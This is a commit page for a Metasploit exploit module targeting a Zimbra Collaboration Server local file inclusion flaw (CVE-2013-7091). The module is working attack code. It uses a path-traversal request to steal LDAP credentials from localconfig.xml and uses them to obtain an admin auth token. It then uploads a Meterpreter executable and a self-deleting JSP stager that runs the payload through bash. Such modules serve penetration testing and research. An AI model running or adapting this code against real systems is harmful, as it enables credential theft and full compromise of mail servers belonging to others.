Skip to content

Commit 2de15bd

Browse files
committed
added module for Zimbra Collaboration Server CVE-2013-7091
1 parent de1a29c commit 2de15bd

File tree

1 file changed

+234
-0
lines changed

1 file changed

+234
-0
lines changed
Lines changed: 234 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,234 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'uri'
8+
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Exploit::EXE
14+
15+
Rank = GreatRanking
16+
17+
def initialize(info = {})
18+
super(update_info(info,
19+
'Name' => 'Zimbra Collaboration Server LFI',
20+
'Description' => %q{
21+
A Local file inclusion exists in versions 8.0.2, 7.2.2 and possibly other versions which allows an attacker to get the LDAP
22+
credentials from the localconfig.xml file. The stolen credentials enables the attacker to make requests to the service/admin/soap API. This can then be used
23+
to create an authentication token for the admin web interface where an administrative user can be added or code execution could be leveraged.
24+
Tested on Zimbra Collaboration Server 8.0.2 with Ubuntu Server 12.04.
25+
},
26+
'Author' =>
27+
[
28+
'rubina119', # Vulnerability discovery
29+
'Mekanismen <mattias[at]gotroot.eu>' # Metasploit module
30+
],
31+
'License' => MSF_LICENSE,
32+
'References' =>
33+
[
34+
[ "CVE", "2013-7091" ],
35+
[ "EDB", "30085" ],
36+
[ 'URL', "http://cxsecurity.com/issue/WLB-2013120097" ]
37+
],
38+
'Privileged' => false,
39+
'Platform' => ['linux'],
40+
'Targets' =>
41+
[
42+
[ 'Linux',
43+
{
44+
'Arch' => ARCH_X86,
45+
'Platform' => 'linux'
46+
}
47+
],
48+
],
49+
'DefaultTarget' => 0,
50+
'DisclosureDate' => "Dec 06 2013"
51+
))
52+
register_options(
53+
[
54+
OptPort.new('RPORT', [true, 'The target port', 7071])
55+
])
56+
57+
register_advanced_options(
58+
[
59+
OptBool.new('SSL', [ true, 'Negotiate SSL for outgoing connections', true]),
60+
OptString.new('ALTDIR', [ false, 'Alternative zimbraAdmin directory', "zimbraAdmin"])
61+
])
62+
end
63+
64+
def check
65+
uri = target_uri.path
66+
turl = "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00"
67+
#doesnt want to play nice if used with vars_get
68+
res = send_request_cgi({
69+
'uri' => normalize_uri(uri, datastore['ALTDIR'], turl),
70+
'method' => 'GET',
71+
})
72+
73+
unless res and res.code == 200
74+
return Exploit::CheckCode::Safe
75+
end
76+
77+
#this response is ~100% gzipped
78+
begin
79+
text = Rex::Text.ungzip(res.body)
80+
rescue Zlib::GzipFile::Error
81+
text = res.body
82+
end
83+
84+
if text =~ /name=\\"zimbra_user\\">";\sa\["<value>(.*)<\/value>/
85+
return Exploit::CheckCode::Appears
86+
else
87+
return Exploit::CheckCode::Safe
88+
end
89+
end
90+
91+
def exploit
92+
uri = target_uri.path
93+
turl = "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00"
94+
#doesnt want to play nice if used with vars_get
95+
res = send_request_cgi({
96+
'uri' => normalize_uri(uri, datastore['ALTDIR'], turl),
97+
'method' => 'GET'
98+
})
99+
100+
unless res and res.code == 200
101+
fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
102+
end
103+
104+
print_status("#{peer} - Getting login credentials...")
105+
#this response is ~100% gzipped
106+
begin
107+
text = Rex::Text.ungzip(res.body)
108+
rescue Zlib::GzipFile::Error
109+
text = res.body
110+
end
111+
112+
if text =~ /name=\\"zimbra_user\\">";\sa\["<value>(.*)<\/value>/
113+
zimbra_user = $1
114+
else
115+
fail_with(Failure::Unknown, "#{peer} - Unable to get login credentials")
116+
end
117+
118+
if text =~ /name=\\"zimbra_ldap_password\\">";\sa\["<value>(.*)<\/value>/
119+
zimbra_pass = $1
120+
else
121+
fail_with(Failure::Unknown, "#{peer} - Unable to get login credentials")
122+
end
123+
124+
print_good("#{peer} - Got login credentials!")
125+
print_status("#{peer} - Getting auth token...")
126+
127+
soap_req = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
128+
soap_req << "<env:Envelope xmlns:env=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:ns1=\"urn:zimbraAdmin\" xmlns:ns2=\"urn:zimbraAdmin\"><env:Header><ns2:context/>"
129+
soap_req << "</env:Header><env:Body><ns1:AuthRequest><account by=\"name\">#{zimbra_user}</account><password>#{zimbra_pass}</password></ns1:AuthRequest></env:Body></env:Envelope>"
130+
131+
res = send_request_cgi({
132+
'uri' => normalize_uri(uri, "/service/admin/soap"),
133+
'method' => 'POST',
134+
'ctype' => 'application/soap+xml; charset="utf-8"',
135+
'headers' =>
136+
{
137+
'SOAPAction' => '"urn:zimbraAdmin#AuthRequest"',
138+
},
139+
'data' => soap_req
140+
})
141+
142+
unless res and res.code == 200
143+
fail_with(Failure::Unknown, "#{peer} - Unable to access service URL")
144+
end
145+
146+
if res.body =~ /<authToken>(.*)<\/authToken>/
147+
auth_token = $1
148+
else
149+
fail_with(Failure::Unknown, "#{peer} - Unable to get auth token")
150+
end
151+
152+
cookie = "ZM_ADMIN_AUTH_TOKEN=#{auth_token}"
153+
print_good("#{peer} - Got auth token!")
154+
155+
#the initial POC for this vuln shows user creation with admin rights for the web interface, thats cool but a shell is even cooler
156+
#the web interface has a function to upload the latest version of the desktop client via /service/extension/clientUploader/upload/
157+
#the intent is for a ZCO file, whatever that is. However any file will do and it's placed in /downloads/ which we can reach, how handy!
158+
159+
#push our meterpreter and then a stager jsp file that sets correct permissions, executes the meterpreter and removes itself afterwards
160+
payload_name = rand_text_alpha(8+rand(8))
161+
stager_name = rand_text_alpha(8+rand(8)) + ".jsp"
162+
req_id = rand_text_numeric(2).to_s
163+
164+
stager = gen_stager(payload_name)
165+
dpayload = generate_payload_exe
166+
167+
#upload payload
168+
169+
print_status("#{peer} - Uploading .JSP stager and payload")
170+
post_data = Rex::MIME::Message.new
171+
post_data.add_part("#{payload_name}", nil, nil, "form-data; name=\"filename1\"")
172+
post_data.add_part("#{dpayload}", "application/octet-stream", nil, "form-data; name=\"clientFile\"; filename=\"#{payload_name}\"")
173+
post_data.add_part("#{req_id}", nil, nil, "form-data; name=\"requestId\"")
174+
175+
n_data = post_data.to_s
176+
n_data = n_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
177+
178+
res = send_request_cgi({
179+
'uri' => normalize_uri(uri, "/service/extension/clientUploader/upload/"),
180+
'method' => 'POST',
181+
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
182+
'data' => n_data,
183+
'cookie' => cookie
184+
})
185+
186+
unless res and res.code == 200
187+
fail_with(Failure::Unknown, "#{peer} - Unable to get upload payload")
188+
end
189+
190+
#upload jsp stager
191+
post_data = Rex::MIME::Message.new
192+
post_data.add_part("#{stager_name}", nil, nil, "form-data; name=\"filename1\"")
193+
post_data.add_part("#{stager}", "application/octet-stream", nil, "form-data; name=\"clientFile\"; filename=\"#{stager_name}\"")
194+
post_data.add_part("#{req_id}", nil, nil, "form-data; name=\"requestId\"")
195+
196+
n_data = post_data.to_s
197+
n_data = n_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
198+
199+
res = send_request_cgi({
200+
'uri' => normalize_uri(uri, "/service/extension/clientUploader/upload/"),
201+
'method' => 'POST',
202+
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
203+
'data' => n_data,
204+
'cookie' => cookie
205+
})
206+
207+
unless res and res.code == 200
208+
fail_with(Failure::Unknown, "#{peer} - Unable to upload stager")
209+
end
210+
211+
print_good("#{peer} - Stager and payload uploaded!")
212+
print_status("#{peer} - Stager at #{peer}/downloads/#{stager_name}")
213+
print_status("#{peer} - Executing payload!")
214+
215+
res = send_request_cgi({
216+
'uri' => normalize_uri(uri, "downloads", stager_name),
217+
'method' => 'GET',
218+
})
219+
end
220+
221+
def gen_stager(payload_name)
222+
stager = "<%@ page import=\"java.util.*,java.io.*\"%>"
223+
stager += " <%"
224+
stager += " String uri = request.getRequestURI();"
225+
stager += " String filename = uri.substring(uri.lastIndexOf(\"/\")+1);"
226+
stager += " String jspfile = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + \"/\" + filename;"
227+
stager += " String payload = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + \"/#{payload_name}\";"
228+
stager += " Runtime.getRuntime().exec(\"chmod 700 \" + payload);"
229+
stager += " Runtime.getRuntime().exec(\"bash -c '\" + payload + \"'\");"
230+
stager += " Runtime.getRuntime().exec(\"rm \" + jspfile);"
231+
stager += "%>"
232+
return stager
233+
end
234+
end

0 commit comments

Comments
 (0)